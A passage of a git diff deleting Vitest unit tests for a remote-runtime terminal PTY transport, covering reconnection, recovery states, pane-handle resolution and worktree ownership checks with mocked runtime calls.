-        // A real multiplexer interruption must not restore the allowance before acceptance.
-        if (interruption !== 'direct') {
-          const frameCount = subscribeFrameCount()
-          if (interruption === 'close') {
-            subscriptionCallbacks?.onClose?.()
-          } else {
-            subscriptionCallbacks?.onResponse({
-              ok: true,
-              result: {
-                type: 'end',
-                streamId: latestSubscribePayload().streamId,
-                verdict: 'unverifiable'
-              }
-            })
-          }
-          await vi.waitFor(() => expect(subscriptionCallbacks).not.toBe(refreshedSubscription))
-          await vi.waitFor(() => expect(subscribeFrameCount()).toBeGreaterThan(frameCount))
-          await vi.waitFor(() => expect(latestSubscribePayload().terminal).toBe(replacement))
-          expect(transport.getRecoveryState?.().epoch).toBe(epoch)
-        }
-        const unacceptedSubscription = subscriptionCallbacks
-        const unacceptedStream = latestSubscribePayload().streamId
-        const resolves = callsTo('terminal.resolvePane').length
-        refuse(unacceptedStream)
-        expect(callsTo('terminal.resolvePane')).toHaveLength(resolves)
-        expect(transport.getRecoveryState?.()).toMatchObject({
-          phase: 'disconnected',
-          reason: 'ownership'
-        })
-        expect(transport.getPtyId()).toBe(next)
-        const frameCount = subscribeFrameCount()
-        expect(transport.retryRecovery?.()).toBe(true)
-        expect(transport.getRecoveryState?.().epoch).toBe((epoch ?? 0) + 1)
-        await vi.waitFor(() => expect(subscriptionCallbacks).not.toBe(unacceptedSubscription))
-        await vi.waitFor(() => expect(subscribeFrameCount()).toBeGreaterThan(frameCount))
-        await vi.waitFor(() => expect(latestSubscribePayload().terminal).toBe(replacement))
-        emitSnapshot(latestSubscribePayload().streamId, 'replacement$ ')
-        await vi.waitFor(() => expect(transport.getRecoveryState?.().phase).toBe('connected'))
-        refuse(unacceptedStream, unacceptedSubscription)
-        expect(transport.getRecoveryState?.().phase).toBe('connected')
-        if (nextIncarnation !== 'old-incarnation') {
-          expect(inputFrameTexts().join('')).not.toContain('old process input')
-        }
-        setDriverForPty(next, { kind: 'idle' })
-        setFitOverride(next, 'desktop-fit', 80, 24)
-        if (interruption === 'close') {
-          delayResolution = true
-          subscriptionCallbacks?.onClose?.()
-          await vi.waitFor(() => expect(delayResolution).toBe(false))
-          await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1)
-          const frameCount = subscribeFrameCount()
-          expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-          expect(transport.retryRecovery?.()).toBe(true)
-          await vi.waitFor(() => expect(subscribeFrameCount()).toBeGreaterThan(frameCount))
-          emitSnapshot(latestSubscribePayload().streamId, 'successor$ ')
-          await vi.advanceTimersByTimeAsync(20)
-          expect(transport.getRecoveryState?.().phase).toBe('connected')
-          const rebinds = onPtyRebind.mock.calls.length
-          resolvedPaneHandle = 'late-owner'
-          delayed.resolve()
-          await vi.advanceTimersByTimeAsync(20)
-          expect(onPtyRebind).toHaveBeenCalledTimes(rebinds)
-          expect(transport.getPtyId()).toBe(next)
-          expect(store.getState().terminalLayoutsByTabId['tab-1'].ptyIdsByLeafId?.[LEAF_1]).toBe(
-            next
-          )
-          expect(transport.getRecoveryState?.().phase).toBe('connected')
-          expect(subscribeFrameCount()).toBe(frameCount + 1)
-        }
-        expect(callsTo('terminal.create')).toHaveLength(0)
-      } finally {
-        transport.destroy?.()
-        vi.useRealTimers()
-      }
-    }
-  )
-
-  it.each([false, true])(
-    'resolves create refusal without replay (contact loss: %s)',
-    async (contactLoss) => {
-      vi.useFakeTimers()
-      const defaultCall = runtimeCall.getMockImplementation()
-      let reachable = !contactLoss
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method === 'terminal.create') {
-          return {
-            ok: false,
-            error: { code: 'runtime_error', message: 'terminal_pane_owner_changed' }
-          }
-        }
-        if (!reachable) {
-          throw unreachable()
-        }
-        return defaultCall?.(args)
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-      const onError = vi.fn()
-      try {
-        const connecting = transport.connect({ url: '', callbacks: { onError } })
-        if (contactLoss) {
-          expect(await connecting).toBeUndefined()
-          await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1)
-          expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-          const { createPaneRecoveryReconnect } =
-            await import('./recovery/TerminalPaneRecoveryPortals')
-          reachable = true
-          const retryRecovery = transport.retryRecovery
-          let accepted: boolean | undefined
-          transport.retryRecovery = () => (accepted = retryRecovery?.() ?? false)
-          createPaneRecoveryReconnect(() => transport, null)()
-          expect(accepted).toBe(true)
-        }
-        await vi.waitFor(() => expect(latestSubscribePayload().terminal).toBe('terminal-1'))
-        emitSnapshot(latestSubscribePayload().streamId, 'recovered$ ')
-        if (!contactLoss) {
-          expect(await connecting).toMatchObject({ id: 'remote:env-1@@terminal-1' })
-        }
-        await vi.advanceTimersByTimeAsync(20)
-        expect(transport.isConnected()).toBe(true)
-        expect(transport.getRecoveryState?.().phase).toBe('connected')
-        expect(onError).not.toHaveBeenCalled()
-        expect(callsTo('terminal.create')).toHaveLength(1)
-        expect(callsTo('terminal.resolvePane')).toHaveLength(contactLoss ? 2 : 1)
-      } finally {
-        transport.destroy?.()
-        vi.useRealTimers()
-      }
-    }
-  )
-
-  it('settles an attach whose pane the host no longer knows instead of latching in connecting (#21344)', async () => {
-    const defaultCall = runtimeCall.getMockImplementation()
-    runtimeCall.mockImplementation(async (args: { method: string }) => {
-      if (args.method === 'terminal.resolvePane') {
-        return { ok: false, error: { code: 'runtime_error', message: 'terminal_not_found' } }
-      }
-      return defaultCall?.(args)
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onPtyExit = vi.fn()
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1',
-      onPtyExit
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-1',
-      cols: 80,
-      rows: 24,
-      callbacks: { onError }
-    })
-
-    await vi.waitFor(() => expect(onPtyExit).toHaveBeenCalled())
-    // Why -1: the host answered for its registry, but a restarting host can republish later.
-    expect(onPtyExit).toHaveBeenCalledWith('remote:env-1@@terminal-1', -1)
-    expect(onError).toHaveBeenCalledWith('Remote terminal was closed.')
-    expect(transport.getRecoveryState?.().phase).toBe('ended')
-    expect(transport.ownsRecovery?.()).toBe(false)
-    expect(transport.sendInput('typed after close', 'driving')).toBe(false)
-  })
-
-  it('retries an attach whose pane lookup lost contact instead of latching in connecting', async () => {
-    vi.useFakeTimers()
-    try {
-      let hostReachable = false
-      const defaultCall = runtimeCall.getMockImplementation()
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (!hostReachable) {
-          throw unreachable()
-        }
-        return defaultCall?.(args)
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-1',
-        cols: 80,
-        rows: 24,
-        callbacks: { onError }
-      })
-      await vi.advanceTimersByTimeAsync(0)
-
-      expect(transport.getRecoveryState?.().phase).toBe('backoff')
-      expect(transport.ownsRecovery?.()).toBe(true)
-      expect(onError).not.toHaveBeenCalled()
-      // Typed while the host is unreachable: held for this pane's terminal, not dropped (#20802).
-      expect(transport.sendInput('echo held', 'driving')).toBe(true)
-
-      hostReachable = true
-      await vi.advanceTimersByTimeAsync(1_000)
-      await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalled())
-      emitSnapshot(latestSubscribePayload().streamId, 'prompt$ ')
-      await vi.advanceTimersByTimeAsync(20)
-
-      expect(transport.isConnected()).toBe(true)
-      expect(transport.getRecoveryState?.().phase).toBe('connected')
-      expect(transport.ownsRecovery?.()).toBe(false)
-      expect(inputFrameTexts().join('')).toBe('echo held')
-      expect(onError).not.toHaveBeenCalled()
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('reports owning recovery after a recoverable connect failure so the pane is not remounted (#21195)', async () => {
-    vi.useFakeTimers()
-    try {
-      runtimeCall.mockImplementation(async () => {
-        throw unreachable()
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      const result = await transport.connect({
-        url: '',
-        sessionId: 'remote:env-1@@',
-        callbacks: {}
-      })
-
-      expect(result).toBeUndefined()
-      expect(transport.getPtyId()).toBeNull()
-      expect(transport.ownsRecovery?.()).toBe(true)
-      transport.destroy?.()
-      expect(transport.ownsRecovery?.()).toBe(false)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('delivers acknowledged input typed during a same-terminal recovery once it rebinds (#25784)', async () => {
-    const defaultCall = runtimeCall.getMockImplementation()
-    runtimeCall.mockImplementation(async (args: { method: string }) =>
-      args.method === 'terminal.send'
-        ? { ok: true, result: { send: { accepted: true } } }
-        : defaultCall?.(args)
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-    await transport.connect({ url: '', callbacks: {} })
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalled())
-    emitSnapshot(latestSubscribePayload().streamId, 'prompt$ ')
-    await vi.waitFor(() => expect(transport.isConnected()).toBe(true))
-    const firstCallbacks = subscriptionCallbacks
-
-    firstCallbacks?.onError?.({
-      code: 'remote_runtime_unavailable',
-      message: 'Remote runtime connection closed.'
-    })
-    expect(transport.isConnected()).toBe(false)
-    const accepted = transport.sendInputAccepted?.('git status\r', 'driving')
-
-    await vi.waitFor(() => expect(subscriptionCallbacks).not.toBe(firstCallbacks))
-    await vi.waitFor(() => expect(latestSubscribePayload().terminal).toBe('terminal-1'))
-    emitSnapshot(latestSubscribePayload().streamId, 'prompt$ ')
-
-    await expect(accepted).resolves.toBe(true)
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.send',
-        params: expect.objectContaining({ terminal: 'terminal-1', text: 'git status\r' })
-      })
-    )
-    transport.destroy?.()
-  })
-
-  it('does not close a pane on an inventory that was already in flight before its leaf published (#20923)', async () => {
-    let releaseStaleInventory: () => void = () => {}
-    const staleInventory = new Promise<void>((resolve) => {
-      releaseStaleInventory = resolve
-    })
-    const siblingOnly = readyHostSessionInventoryResponse('terminal-sibling', 'host-tab-1')
-    // Why: rewrite the leaf so only a sibling of the requested pane is present.
-    const staleSnapshot = JSON.parse(JSON.stringify(siblingOnly).replaceAll('pane:1', 'pane:2'))
-    let listCalls = 0
-    const defaultCall = runtimeCall.getMockImplementation()
-    runtimeCall.mockImplementation(async (args: { method: string; params?: unknown }) => {
-      if (args.method === 'session.tabs.activate') {
-        return { ok: true, result: { tabs: [] } }
-      }
-      if (args.method === 'session.tabs.list') {
-        listCalls += 1
-        if (listCalls === 1) {
-          await staleInventory
-          return staleSnapshot
-        }
-        return readyHostSessionInventoryResponse('terminal-1', 'host-tab-1')
-      }
-      return defaultCall?.(args)
-    })
-    const { listRemoteRuntimeSessionTabsDeduped } =
-      await import('@/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight')
-    // Another pane's inventory request starts before this leaf is published.
-    const preexisting = listRemoteRuntimeSessionTabsDeduped({
-      environmentId: 'env-1',
-      worktreeId: 'wt-1',
-      load: async () => {
-        const response = await runtimeCall({ method: 'session.tabs.list' })
-        return { snapshot: response.result }
-      }
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'pane:1'
-    })
-
-    vi.useFakeTimers({ toFake: ['Date', 'setTimeout', 'clearTimeout'] })
-    try {
-      const connected = transport.connect({ url: '', callbacks: { onError } })
-      await vi.advanceTimersByTimeAsync(400)
-      releaseStaleInventory()
-      await preexisting
-
-      await expect(connected).resolves.toMatchObject({ id: 'remote:env-1@@terminal-1' })
-      expect(onError).not.toHaveBeenCalledWith('Remote terminal was closed.')
-      expect(listCalls).toBeGreaterThanOrEqual(2)
-    } finally {
-      releaseStaleInventory()
-      transport.destroy?.()
-      vi.useRealTimers()
-    }
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pane-handle-resolution.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pane-handle-resolution.test.ts
deleted file mode 100644
index ca70cf3277a..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pane-handle-resolution.test.ts
+++ /dev/null
@@ -1,616 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  decodeTerminalStreamJson
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const {
-  runtimeCall,
-  runtimeSubscribe,
-  subscriptionSendBinary,
-  latestSubscribePayload,
-  emitSnapshot,
-  resetRemoteRuntimeTransport
-} = createRemoteRuntimeTransportMocks({
-  getCallbacks: () => subscriptionCallbacks,
-  setCallbacks: (callbacks) => {
-    subscriptionCallbacks = callbacks
-  },
-  getResolvedPaneHandle: () => resolvedPaneHandle,
-  setResolvedPaneHandle: (handle) => {
-    resolvedPaneHandle = handle
-  }
-})
-
-describe('createRemoteRuntimePtyTransport', () => {
-  beforeEach(() => {
-    resetRemoteRuntimeTransport()
-  })
-
-  it('does not publish a spawn callback while reconnecting a mirrored web terminal', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onPtySpawn = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-tab-1',
-      leafId: 'pane:1',
-      onPtySpawn
-    })
-
-    const result = await transport.connect({
-      url: '',
-      sessionId: 'remote:env-1@@terminal-old',
-      cols: 80,
-      rows: 24,
-      callbacks: {}
-    })
-
-    expect(result).toMatchObject({
-      id: 'remote:env-1@@terminal-1',
-      isReattach: true
-    })
-    expect(onPtySpawn).not.toHaveBeenCalled()
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-  })
-
-  it('resolves a HUB-native SSH PTY wake hint to its runtime terminal handle', async () => {
-    const leafId = '11111111-1111-4111-8111-111111111111'
-    runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-      if (request.method === 'terminal.resolvePane') {
-        return {
-          ok: true,
-          result: {
-            terminal: {
-              handle: 'hub-terminal-1',
-              tabId: 'tab-1',
-              leafId,
-              ptyId: 'ssh:hub-private@@pty-2',
-              worktreeId: 'wt-1',
-              executionHostId: 'ssh:hub-private',
-              hostPlatform: 'win32'
-            }
-          }
-        }
-      }
-      throw new Error(`Unexpected method ${request.method}`)
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('hub-env', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId,
-      executionHostId: 'runtime:hub-env'
-    })
-    const executionHostChanged = vi.fn()
-    transport.onExecutionHostChange?.(executionHostChanged)
-
-    const result = await transport.connect({
-      url: '',
-      cols: 120,
-      rows: 40,
-      sessionId: 'ssh:hub-private@@pty-2',
-      callbacks: {}
-    })
-
-    expect(result).toEqual({
-      id: 'remote:hub-env@@hub-terminal-1',
-      replay: '',
-      isReattach: true
-    })
-    expect(transport.getPtyId()).toBe('remote:hub-env@@hub-terminal-1')
-    expect(transport.getExecutionHostId?.()).toBe('ssh:hub-private')
-    expect(transport.getRemotePlatform?.()).toBe('win32')
-    // The pane's resize model re-resolves on this: the PTY's host is the server's SSH target.
-    expect(executionHostChanged).toHaveBeenCalledOnce()
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'hub-env',
-        method: 'terminal.resolvePane',
-        params: {
-          paneKey: `tab-1:${leafId}`,
-          worktreeId: 'wt-1'
-        }
-      })
-    )
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.create' })
-    )
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    expect(latestSubscribePayload()).toMatchObject({ terminal: 'hub-terminal-1' })
-  })
-
-  it('verifies a legacy pane response against the requested worktree session', async () => {
-    runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-      if (request.method === 'terminal.resolvePane') {
-        return {
-          ok: true,
-          result: {
-            terminal: {
-              handle: 'legacy-terminal-1',
-              tabId: 'tab-1',
-              leafId: 'pane:1',
-              ptyId: 'ssh:hub-private@@pty-2'
-            }
-          }
-        }
-      }
-      if (request.method === 'session.tabs.list') {
-        return {
-          ok: true,
-          result: {
-            worktree: 'id:wt-1',
-            publicationEpoch: 'legacy-epoch',
-            snapshotVersion: 1,
-            activeGroupId: 'group-1',
-            activeTabId: 'tab-1',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'tab-1::pane:1',
-                parentTabId: 'tab-1',
-                leafId: 'pane:1',
-                title: 'Terminal',
-                isActive: true,
-                status: 'ready',
-                terminal: 'legacy-terminal-1'
-              }
-            ]
-          }
-        }
-      }
-      throw new Error(`Unexpected method ${request.method}`)
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('legacy-env', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:legacy-env@@legacy-terminal-1',
-      cols: 100,
-      rows: 30,
-      callbacks: {}
-    })
-
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    emitSnapshot(latestSubscribePayload().streamId, 'legacy state')
-    expect(transport.isConnected()).toBe(true)
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'session.tabs.list',
-        params: { worktree: 'id:wt-1' }
-      })
-    )
-    expect(latestSubscribePayload()).toMatchObject({ terminal: 'legacy-terminal-1' })
-  })
-
-  it('rejects a legacy pane handle absent from the requested worktree session', async () => {
-    runtimeCall.mockImplementation(async (request: { method: string }) => {
-      if (request.method === 'terminal.resolvePane') {
-        return {
-          ok: true,
-          result: {
-            terminal: {
-              handle: 'foreign-terminal',
-              tabId: 'tab-1',
-              leafId: 'pane:1',
-              ptyId: 'ssh:hub-private@@foreign-pty'
-            }
-          }
-        }
-      }
-      if (request.method === 'session.tabs.list') {
-        return {
-          ok: true,
-          result: {
-            worktree: 'id:wt-1',
-            publicationEpoch: 'legacy-epoch',
-            snapshotVersion: 1,
-            activeGroupId: 'group-1',
-            activeTabId: 'tab-1',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'tab-1::pane:1',
-                parentTabId: 'tab-1',
-                leafId: 'pane:1',
-                title: 'Terminal',
-                isActive: true,
-                status: 'ready',
-                terminal: 'worktree-terminal'
-              }
-            ]
-          }
-        }
-      }
-      throw new Error(`Unexpected method ${request.method}`)
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('legacy-env', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:legacy-env@@foreign-terminal',
-      callbacks: { onError }
-    })
-
-    await vi.waitFor(() => expect(onError).toHaveBeenCalledWith('terminal_owner_mismatch'))
-    expect(transport.isConnected()).toBe(false)
-    expect(runtimeSubscribe).not.toHaveBeenCalled()
-  })
-
-  it('scopes the same legacy handle independently for each runtime environment', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const first = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'leaf-1'
-    })
-    const second = createRemoteRuntimePtyTransport('env-2', {
-      worktreeId: 'wt-2',
-      tabId: 'tab-2',
-      leafId: 'leaf-2'
-    })
-
-    first.attach({ existingPtyId: 'remote:terminal-1', callbacks: {} })
-    second.attach({ existingPtyId: 'remote:terminal-1', callbacks: {} })
-
-    await vi.waitFor(() => {
-      expect(first.getPtyId()).toBe('remote:env-1@@terminal-1')
-      expect(second.getPtyId()).toBe('remote:env-2@@terminal-1')
-    })
-  })
-
-  it('parks passive peers when another remote desktop owns the grid', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const { getFitOverrideForPty, setFitOverride } =
-      await import('@/lib/pane-manager/mobile-fit-overrides')
-    const transport = createRemoteRuntimePtyTransport('env-1', { worktreeId: 'wt-1' })
-    await transport.connect({ url: '', cols: 120, rows: 40, callbacks: {} })
-    const { streamId } = latestSubscribePayload()
-    const ptyId = transport.getPtyId()
-    expect(ptyId).not.toBeNull()
-
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'fit-override-changed',
-        streamId,
-        mode: 'remote-desktop-fit',
-        cols: 96,
-        rows: 32
-      }
-    })
-
-    expect(ptyId ? getFitOverrideForPty(ptyId) : null).toEqual({
-      mode: 'remote-desktop-fit',
-      cols: 96,
-      rows: 32
-    })
-    if (ptyId) {
-      setFitOverride(ptyId, 'desktop-fit', 0, 0)
-    }
-  })
-
-  it('ignores a hold whose grid the host does not know yet instead of shrinking the pane', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const { getFitOverrideForPty } = await import('@/lib/pane-manager/mobile-fit-overrides')
-    const transport = createRemoteRuntimePtyTransport('env-1', { worktreeId: 'wt-1' })
-    await transport.connect({ url: '', cols: 120, rows: 40, callbacks: {} })
-    const { streamId } = latestSubscribePayload()
-    const ptyId = transport.getPtyId()
-    expect(ptyId).not.toBeNull()
-
-    // A just-restarted server answers before it has learned the adopted terminal's size.
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'fit-override-changed',
-        streamId,
-        mode: 'remote-desktop-fit',
-        cols: 0,
-        rows: 0
-      }
-    })
-
-    expect(ptyId ? getFitOverrideForPty(ptyId) : null).toBeNull()
-    transport.destroy?.()
-  })
-
-  it('gives separate paired viewers of the same host pane distinct refresh identities', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const first = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-    const second = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    first.attach({ existingPtyId: 'remote:terminal-1', cols: 80, rows: 24, callbacks: {} })
-    second.attach({ existingPtyId: 'remote:terminal-1', cols: 120, rows: 40, callbacks: {} })
-
-    await vi.waitFor(() => {
-      const subscribeFrames = subscriptionSendBinary.mock.calls
-        .map((call) => decodeTerminalStreamFrame(call[0]))
-        .filter((frame) => frame?.opcode === TerminalStreamOpcode.Subscribe)
-      expect(subscribeFrames).toHaveLength(2)
-      const clientIds = subscribeFrames.map((frame) => {
-        const payload = frame
-          ? decodeTerminalStreamJson<{ client: { id: string } }>(frame.payload)
-          : null
-        return payload?.client.id
-      })
-      expect(clientIds[0]).toMatch(/^desktop:tab-1:pane:1:/)
-      expect(clientIds[1]).toMatch(/^desktop:tab-1:pane:1:/)
-      expect(clientIds[0]).not.toBe(clientIds[1])
-    })
-
-    first.destroy?.()
-    second.destroy?.()
-  })
-
-  it('does not let an encoded restored terminal id override the current worktree owner', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-2', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-1',
-      cols: 120,
-      rows: 40,
-      callbacks: {}
-    })
-
-    await vi.waitFor(() => {
-      expect(runtimeSubscribe).toHaveBeenCalled()
-    })
-
-    expect(runtimeSubscribe).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'env-2',
-        method: 'terminal.multiplex'
-      }),
-      expect.any(Object)
-    )
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    expect(latestSubscribePayload()).toMatchObject({
-      terminal: 'terminal-1',
-      viewport: { cols: 120, rows: 40 }
-    })
-  })
-
-  it('attaches an environment-scoped handle when an older runtime lacks pane resolution', async () => {
-    runtimeCall.mockImplementation(async (request: { method: string }) => {
-      if (request.method === 'terminal.resolvePane') {
-        return {
-          ok: false,
-          error: { code: 'method_not_found', message: 'Unknown method: terminal.resolvePane' }
-        }
-      }
-      return { ok: true, result: {} }
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('legacy-env', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:legacy-env@@terminal-legacy',
-      cols: 80,
-      rows: 24,
-      callbacks: {}
-    })
-
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    emitSnapshot(latestSubscribePayload().streamId, 'legacy state')
-    expect(transport.isConnected()).toBe(true)
-    expect(transport.getPtyId()).toBe('remote:legacy-env@@terminal-legacy')
-    expect(runtimeSubscribe).toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'legacy-env', method: 'terminal.multiplex' }),
-      expect.any(Object)
-    )
-  })
-
-  it('re-derives the host session handle after a transport close instead of resubscribing the stale one', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const { getAllOverrides, setFitOverride } =
-      await import('@/lib/pane-manager/mobile-fit-overrides')
-    const { getAllDrivers, setDriverForPty } =
-      await import('@/lib/pane-manager/mobile-driver-state')
-    const onPtySpawn = vi.fn()
-    const onPtyRebind = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-tab-1',
-      leafId: 'pane:1',
-      onPtySpawn,
-      onPtyRebind
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-1',
-      cols: 80,
-      rows: 24,
-      callbacks: {}
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-1' })
-    setFitOverride('remote:env-1@@terminal-1', 'mobile-fit', 49, 20)
-    setDriverForPty('remote:env-1@@terminal-1', { kind: 'mobile', clientId: 'phone-1' })
-
-    // Re-derive host handles after transport loss; stale closure handles may now name a different PTY (#7718).
-    runtimeCall.mockImplementation(async (args: { method: string }) =>
-      args.method === 'session.tabs.list'
-        ? {
-            ok: true,
-            result: {
-              worktree: 'wt-1',
-              publicationEpoch: 'epoch-1',
-              snapshotVersion: 2,
-              activeGroupId: null,
-              activeTabId: 'tab-1::pane:1',
-              activeTabType: 'terminal',
-              tabs: [
-                {
-                  type: 'terminal',
-                  id: 'tab-1::pane:1',
-                  parentTabId: 'tab-1',
-                  leafId: 'pane:1',
-                  title: 'Terminal',
-                  isActive: true,
-                  status: 'ready',
-                  terminal: 'terminal-2'
-                }
-              ]
-            }
-          }
-        : { ok: true, result: {} }
-    )
-    const subscribeCallsBefore = runtimeSubscribe.mock.calls.length
-
-    // The dedicated multiplex socket dies (liveness/close) → onTransportClose.
-    subscriptionCallbacks?.onClose?.()
-
-    await vi.waitFor(() =>
-      expect(runtimeSubscribe.mock.calls.length).toBeGreaterThan(subscribeCallsBefore)
-    )
-    await vi.waitFor(() =>
-      expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-2' })
-    )
-    expect(transport.getPtyId()).toContain('terminal-2')
-    expect(onPtySpawn).not.toHaveBeenCalled()
-    expect(onPtyRebind).toHaveBeenCalledWith(
-      expect.stringContaining('terminal-2'),
-      expect.stringContaining('terminal-1')
-    )
-    expect([...getAllOverrides().keys()]).toEqual(['remote:env-1@@terminal-2'])
-    expect([...getAllDrivers().keys()]).toEqual(['remote:env-1@@terminal-2'])
-  })
-
-  it('retires the mirror when the host no longer publishes the surface after a transport close', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onPtyExit = vi.fn()
